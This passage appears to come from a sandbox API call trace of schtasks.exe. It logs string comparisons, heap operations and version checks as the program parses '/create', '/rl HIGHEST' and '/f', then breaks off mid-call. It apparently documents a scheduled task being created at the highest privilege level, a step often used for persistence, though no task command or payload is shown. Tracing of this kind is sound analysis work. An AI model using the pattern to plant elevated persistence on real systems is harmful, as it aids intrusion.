_Size=0x7) returned 0 [0088.330] lstrlenW (lpString="rl") returned 2 [0088.330] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.330] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x29f038 | out: _Buffer="|showsid|") returned 9 [0088.330] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f038 | out: _Buffer="|rl|") returned 4 [0088.330] lstrlenW (lpString="|showsid|") returned 9 [0088.330] lstrlenW (lpString="|rl|") returned 4 [0088.331] StrStrIW (lpFirst="|showsid|", lpSrch="|rl|") returned 0x0 [0088.331] SetLastError (dwErrCode=0x490) [0088.331] SetLastError (dwErrCode=0x490) [0088.331] SetLastError (dwErrCode=0x0) [0088.331] lstrlenW (lpString="/rl") returned 3 [0088.331] StrChrIW (lpStart="/rl", wMatch=0x3a) returned 0x0 [0088.331] SetLastError (dwErrCode=0x490) [0088.331] SetLastError (dwErrCode=0x0) [0088.331] lstrlenW (lpString="/rl") returned 3 [0088.331] GetProcessHeap () returned 0xf0000 [0088.331] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0x8) returned 0x10df90 [0088.331] GetProcessHeap () returned 0xf0000 [0088.331] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0x20) returned 0x10ceb0 [0088.331] SetLastError (dwErrCode=0x0) [0088.331] SetLastError (dwErrCode=0x0) [0088.331] lstrlenW (lpString="HIGHEST") returned 7 [0088.331] lstrlenW (lpString="-/") returned 2 [0088.331] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0088.331] SetLastError (dwErrCode=0x490) [0088.331] SetLastError (dwErrCode=0x490) [0088.331] SetLastError (dwErrCode=0x0) [0088.331] lstrlenW (lpString="HIGHEST") returned 7 [0088.331] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0088.331] SetLastError (dwErrCode=0x490) [0088.331] SetLastError (dwErrCode=0x0) [0088.331] lstrlenW (lpString="HIGHEST") returned 7 [0088.331] GetProcessHeap () returned 0xf0000 [0088.331] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0x10) returned 0x10d6a0 [0088.331] GetProcessHeap () returned 0xf0000 [0088.331] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0x20) returned 0x10cee0 [0088.331] SetLastError (dwErrCode=0x0) [0088.331] SetLastError (dwErrCode=0x0) [0088.331] lstrlenW (lpString="/f") returned 2 [0088.331] lstrlenW (lpString="-/") returned 2 [0088.331] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0088.331] lstrlenW (lpString="?") returned 1 [0088.332] lstrlenW (lpString="?") returned 1 [0088.332] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.332] lstrlenW (lpString="f") returned 1 [0088.332] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.332] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29f038 | out: _Buffer="|?|") returned 3 [0088.332] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29f038 | out: _Buffer="|f|") returned 3 [0088.332] lstrlenW (lpString="|?|") returned 3 [0088.332] lstrlenW (lpString="|f|") returned 3 [0088.332] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0088.332] SetLastError (dwErrCode=0x490) [0088.332] lstrlenW (lpString="create") returned 6 [0088.332] lstrlenW (lpString="create") returned 6 [0088.332] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.332] lstrlenW (lpString="f") returned 1 [0088.332] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.332] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f038 | out: _Buffer="|create|") returned 8 [0088.332] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29f038 | out: _Buffer="|f|") returned 3 [0088.332] lstrlenW (lpString="|create|") returned 8 [0088.332] lstrlenW (lpString="|f|") returned 3 [0088.332] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0088.332] SetLastError (dwErrCode=0x490) [0088.332] lstrlenW (lpString="delete") returned 6 [0088.332] lstrlenW (lpString="delete") returned 6 [0088.332] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.332] lstrlenW (lpString="f") returned 1 [0088.332] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.332] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f038 | out: _Buffer="|delete|") returned 8 [0088.332] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29f038 | out: _Buffer="|f|") returned 3 [0088.332] lstrlenW (lpString="|delete|") returned 8 [0088.333] lstrlenW (lpString="|f|") returned 3 [0088.333] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0088.333] SetLastError (dwErrCode=0x490) [0088.333] lstrlenW (lpString="query") returned 5 [0088.333] lstrlenW (lpString="query") returned 5 [0088.333] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.333] lstrlenW (lpString="f") returned 1 [0088.333] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.333] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x29f038 | out: _Buffer="|query|") returned 7 [0088.333] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29f038 | out: _Buffer="|f|") returned 3 [0088.333] lstrlenW (lpString="|query|") returned 7 [0088.333] lstrlenW (lpString="|f|") returned 3 [0088.333] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0088.333] SetLastError (dwErrCode=0x490) [0088.333] lstrlenW (lpString="change") returned 6 [0088.333] lstrlenW (lpString="change") returned 6 [0088.333] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.333] lstrlenW (lpString="f") returned 1 [0088.333] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.333] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f038 | out: _Buffer="|change|") returned 8 [0088.333] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29f038 | out: _Buffer="|f|") returned 3 [0088.333] lstrlenW (lpString="|change|") returned 8 [0088.333] lstrlenW (lpString="|f|") returned 3 [0088.333] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0088.333] SetLastError (dwErrCode=0x490) [0088.333] lstrlenW (lpString="run") returned 3 [0088.333] lstrlenW (lpString="run") returned 3 [0088.333] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.333] lstrlenW (lpString="f") returned 1 [0088.333] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.333] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29f038 | out: _Buffer="|run|") returned 5 [0088.334] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29f038 | out: _Buffer="|f|") returned 3 [0088.334] lstrlenW (lpString="|run|") returned 5 [0088.334] lstrlenW (lpString="|f|") returned 3 [0088.334] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0088.334] SetLastError (dwErrCode=0x490) [0088.334] lstrlenW (lpString="end") returned 3 [0088.334] lstrlenW (lpString="end") returned 3 [0088.334] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.334] lstrlenW (lpString="f") returned 1 [0088.334] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.334] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29f038 | out: _Buffer="|end|") returned 5 [0088.334] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29f038 | out: _Buffer="|f|") returned 3 [0088.334] lstrlenW (lpString="|end|") returned 5 [0088.334] lstrlenW (lpString="|f|") returned 3 [0088.334] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0088.334] SetLastError (dwErrCode=0x490) [0088.334] lstrlenW (lpString="showsid") returned 7 [0088.334] lstrlenW (lpString="showsid") returned 7 [0088.334] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.334] lstrlenW (lpString="f") returned 1 [0088.334] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.334] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x29f038 | out: _Buffer="|showsid|") returned 9 [0088.334] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29f038 | out: _Buffer="|f|") returned 3 [0088.334] lstrlenW (lpString="|showsid|") returned 9 [0088.334] lstrlenW (lpString="|f|") returned 3 [0088.334] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0088.334] SetLastError (dwErrCode=0x490) [0088.334] SetLastError (dwErrCode=0x490) [0088.334] SetLastError (dwErrCode=0x0) [0088.334] lstrlenW (lpString="/f") returned 2 [0088.335] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0088.335] SetLastError (dwErrCode=0x490) [0088.335] SetLastError (dwErrCode=0x0) [0088.335] lstrlenW (lpString="/f") returned 2 [0088.335] GetProcessHeap () returned 0xf0000 [0088.335] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0x6) returned 0x10dfb0 [0088.335] GetProcessHeap () returned 0xf0000 [0088.335] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0x20) returned 0x10cf10 [0088.335] SetLastError (dwErrCode=0x0) [0088.335] GetProcessHeap () returned 0xf0000 [0088.335] GetProcessHeap () returned 0xf0000 [0088.335] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x10c360) returned 1 [0088.340] GetProcessHeap () returned 0xf0000 [0088.340] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x10c360) returned 0x8 [0088.340] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x10c360 | out: hHeap=0xf0000) returned 1 [0088.340] GetProcessHeap () returned 0xf0000 [0088.340] GetProcessHeap () returned 0xf0000 [0088.340] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x10cd90) returned 1 [0088.340] GetProcessHeap () returned 0xf0000 [0088.340] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x10cd90) returned 0x20 [0088.340] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x10cd90 | out: hHeap=0xf0000) returned 1 [0088.340] GetProcessHeap () returned 0xf0000 [0088.340] GetProcessHeap () returned 0xf0000 [0088.340] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x10c3f0) returned 1 [0088.341] GetProcessHeap () returned 0xf0000 [0088.341] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x10c3f0) returned 0x12 [0088.341] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x10c3f0 | out: hHeap=0xf0000) returned 1 [0088.341] GetProcessHeap () returned 0xf0000 [0088.341] GetProcessHeap () returned 0xf0000 [0088.341] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x10cdc0) returned 1 [0088.341] GetProcessHeap () returned 0xf0000 [0088.341] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x10cdc0) returned 0x20 [0088.341] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x10cdc0 | out: hHeap=0xf0000) returned 1 [0088.341] GetProcessHeap () returned 0xf0000 [0088.341] GetProcessHeap () returned 0xf0000 [0088.341] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x10c410) returned 1 [0088.341] GetProcessHeap () returned 0xf0000 [0088.341] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x10c410) returned 0x8 [0088.341] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x10c410 | out: hHeap=0xf0000) returned 1 [0088.341] GetProcessHeap () returned 0xf0000 [0088.341] GetProcessHeap () returned 0xf0000 [0088.341] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x10cdf0) returned 1 [0088.341] GetProcessHeap () returned 0xf0000 [0088.341] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x10cdf0) returned 0x20 [0088.342] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x10cdf0 | out: hHeap=0xf0000) returned 1 [0088.342] GetProcessHeap () returned 0xf0000 [0088.342] GetProcessHeap () returned 0xf0000 [0088.342] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x10c430) returned 1 [0088.342] GetProcessHeap () returned 0xf0000 [0088.342] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x10c430) returned 0x10 [0088.342] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x10c430 | out: hHeap=0xf0000) returned 1 [0088.342] GetProcessHeap () returned 0xf0000 [0088.342] GetProcessHeap () returned 0xf0000 [0088.342] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x10ce20) returned 1 [0088.342] GetProcessHeap () returned 0xf0000 [0088.342] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x10ce20) returned 0x20 [0088.342] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x10ce20 | out: hHeap=0xf0000) returned 1 [0088.342] GetProcessHeap () returned 0xf0000 [0088.342] GetProcessHeap () returned 0xf0000 [0088.342] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x10c450) returned 1 [0088.343] GetProcessHeap () returned 0xf0000 [0088.343] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x10c450) returned 0x8 [0088.343] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x10c450 | out: hHeap=0xf0000) returned 1 [0088.343] GetProcessHeap () returned 0xf0000 [0088.343] GetProcessHeap () returned 0xf0000 [0088.343] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x10ce50) returned 1 [0088.343] GetProcessHeap () returned 0xf0000 [0088.343] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x10ce50) returned 0x20 [0088.343] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x10ce50 | out: hHeap=0xf0000) returned 1 [0088.343] GetProcessHeap () returned 0xf0000 [0088.343] GetProcessHeap () returned 0xf0000 [0088.343] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x10def0) returned 1 [0088.343] GetProcessHeap () returned 0xf0000 [0088.343] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x10def0) returned 0x8a [0088.344] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x10def0 | out: hHeap=0xf0000) returned 1 [0088.344] GetProcessHeap () returned 0xf0000 [0088.344] GetProcessHeap () returned 0xf0000 [0088.344] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x10ce80) returned 1 [0088.344] GetProcessHeap () returned 0xf0000 [0088.344] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x10ce80) returned 0x20 [0088.344] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x10ce80 | out: hHeap=0xf0000) returned 1 [0088.344] GetProcessHeap () returned 0xf0000 [0088.344] GetProcessHeap () returned 0xf0000 [0088.344] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x10df90) returned 1 [0088.344] GetProcessHeap () returned 0xf0000 [0088.344] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x10df90) returned 0x8 [0088.344] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x10df90 | out: hHeap=0xf0000) returned 1 [0088.344] GetProcessHeap () returned 0xf0000 [0088.344] GetProcessHeap () returned 0xf0000 [0088.344] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x10ceb0) returned 1 [0088.344] GetProcessHeap () returned 0xf0000 [0088.344] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x10ceb0) returned 0x20 [0088.345] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x10ceb0 | out: hHeap=0xf0000) returned 1 [0088.345] GetProcessHeap () returned 0xf0000 [0088.345] GetProcessHeap () returned 0xf0000 [0088.345] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x10d6a0) returned 1 [0088.345] GetProcessHeap () returned 0xf0000 [0088.345] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x10d6a0) returned 0x10 [0088.345] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x10d6a0 | out: hHeap=0xf0000) returned 1 [0088.345] GetProcessHeap () returned 0xf0000 [0088.345] GetProcessHeap () returned 0xf0000 [0088.345] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x10cee0) returned 1 [0088.345] GetProcessHeap () returned 0xf0000 [0088.345] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x10cee0) returned 0x20 [0088.346] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x10cee0 | out: hHeap=0xf0000) returned 1 [0088.346] GetProcessHeap () returned 0xf0000 [0088.346] GetProcessHeap () returned 0xf0000 [0088.346] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x10dfb0) returned 1 [0088.346] GetProcessHeap () returned 0xf0000 [0088.346] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x10dfb0) returned 0x6 [0088.346] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x10dfb0 | out: hHeap=0xf0000) returned 1 [0088.346] GetProcessHeap () returned 0xf0000 [0088.346] GetProcessHeap () returned 0xf0000 [0088.346] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x10cf10) returned 1 [0088.346] GetProcessHeap () returned 0xf0000 [0088.346] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x10cf10) returned 0x20 [0088.346] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x10cf10 | out: hHeap=0xf0000) returned 1 [0088.346] GetProcessHeap () returned 0xf0000 [0088.346] GetProcessHeap () returned 0xf0000 [0088.346] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x105590) returned 1 [0088.346] GetProcessHeap () returned 0xf0000 [0088.346] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x105590) returned 0x18 [0088.346] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x105590 | out: hHeap=0xf0000) returned 1 [0088.347] SetLastError (dwErrCode=0x0) [0088.347] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0088.347] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0088.347] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0088.347] VerifyVersionInfoW (in: lpVersionInformation=0x29c090, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x29c090) returned 1 [0088.347] SetLastError (dwErrCode=0x0) [0088.347] lstrlenW (lpString="create") returned 6 [0088.347] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0088.347] SetLastError (dwErrCode=0x490) [0088.347] SetLastError (dwErrCode=0x0) [0088.347] lstrlenW (lpString="create") returned 6 [0088.347] GetProcessHeap () returned 0xf0000 [0088.347] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0x20) returned 0x10cf10 [0088.347] GetProcessHeap () returned 0xf0000 [0088.347] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0x18) returned 0x10d6a0 [0088.347] _memicmp (_Buf1=0x10d6a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.347] GetProcessHeap () returned 0xf0000 [0088.347] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0x16) returned 0x10d6c0 [0088.348] SetLastError (dwErrCode=0x0) [0088.348] _memicmp (_Buf1=0x10bbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.348] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x10bd90, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0088.348] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0088.348] GetProcessHeap () returned 0xf0000 [0088.348] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0x74e) returned 0x10def0 [0088.348] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x10def0 | out: lpData=0x10def0) returned 1 [0088.348] VerQueryValueW (in: pBlock=0x10def0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x29c178, puLen=0x29c1e0 | out: lplpBuffer=0x29c178*=0x10e28c, puLen=0x29c1e0) returned 1 [0088.348] _memicmp (_Buf1=0x10bbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.349] _vsnwprintf (in: _Buffer=0x10bd90, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x29c158 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0088.349] VerQueryValueW (in: pBlock=0x10def0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x29c1e8, puLen=0x29c1d8 | out: lplpBuffer=0x29c1e8*=0x10e0b8, puLen=0x29c1d8) returned 1 [0088.349] lstrlenW (lpString="schtasks.exe") returned 12 [0088.349] lstrlenW (lpString="schtasks.exe") returned 12 [0088.349] lstrlenW (lpString=".EXE") returned 4 [0088.349] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0088.349] lstrlenW (lpString="schtasks.exe") returned 12 [0088.349] lstrlenW (lpString=".EXE") returned 4 [0088.349] lstrlenW (lpString="schtasks") returned 8 [0088.349] lstrlenW (lpString="/create") returned 7 [0088.349] _memicmp (_Buf1=0x10bbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.349] _vsnwprintf (in: _Buffer=0x10bd90, _BufferCount=0x19, _Format="%s %s", _ArgList=0x29c158 | out: _Buffer="schtasks /create") returned 16 [0088.349] _memicmp (_Buf1=0x10bc10, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.349] GetProcessHeap () returned 0xf0000 [0088.349] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0x20) returned 0x10cee0 [0088.349] _memicmp (_Buf1=0x10bc30, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.349] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x10d440, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0088.349] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0088.349] GetProcessHeap () returned 0xf0000 [0088.349] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0x30) returned 0x107c50 [0088.349] _vsnwprintf (in: _Buffer=0x10c190, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x29c158 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0088.349] GetProcessHeap () returned 0xf0000 [0088.349] GetProcessHeap () returned 0xf0000 [0088.349] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x10def0) returned 1 [0088.349] GetProcessHeap () returned 0xf0000 [0088.350] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x10def0) returned 0x74e [0088.350] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x10def0 | out: hHeap=0xf0000) returned 1 [0088.350] SetLastError (dwErrCode=0x0) [0088.350] GetThreadLocale () returned 0x409 [0088.350] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0088.350] lstrlenW (lpString="create") returned 6 [0088.350] GetThreadLocale () returned 0x409 [0088.350] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0088.350] lstrlenW (lpString="?") returned 1 [0088.350] GetThreadLocale () returned 0x409 [0088.350] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0088.350] lstrlenW (lpString="s") returned 1 [0088.350] GetThreadLocale () returned 0x409 [0088.350] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0088.351] lstrlenW (lpString="u") returned 1 [0088.351] GetThreadLocale () returned 0x409 [0088.351] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0088.351] lstrlenW (lpString="p") returned 1 [0088.351] GetThreadLocale () returned 0x409 [0088.351] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0088.351] lstrlenW (lpString="ru") returned 2 [0088.351] GetThreadLocale () returned 0x409 [0088.351] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0088.351] lstrlenW (lpString="rp") returned 2 [0088.351] GetThreadLocale () returned 0x409 [0088.351] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0088.351] lstrlenW (lpString="sc") returned 2 [0088.351] GetThreadLocale () returned 0x409 [0088.351] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0088.351] lstrlenW (lpString="mo") returned 2 [0088.351] GetThreadLocale () returned 0x409 [0088.351] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0088.351] lstrlenW (lpString="d") returned 1 [0088.351] GetThreadLocale () returned 0x409 [0088.351] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0088.351] lstrlenW (lpString="m") returned 1 [0088.351] GetThreadLocale () returned 0x409 [0088.351] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0088.351] lstrlenW (lpString="i") returned 1 [0088.351] GetThreadLocale () returned 0x409 [0088.351] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0088.351] lstrlenW (lpString="tn") returned 2 [0088.351] GetThreadLocale () returned 0x409 [0088.351] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0088.352] lstrlenW (lpString="tr") returned 2 [0088.352] GetThreadLocale () returned 0x409 [0088.352] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0088.352] lstrlenW (lpString="st") returned 2 [0088.352] GetThreadLocale () returned 0x409 [0088.352] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0088.352] lstrlenW (lpString="sd") returned 2 [0088.352] GetThreadLocale () returned 0x409 [0088.352] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0088.352] lstrlenW (lpString="ed") returned 2 [0088.352] GetThreadLocale () returned 0x409 [0088.352] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", 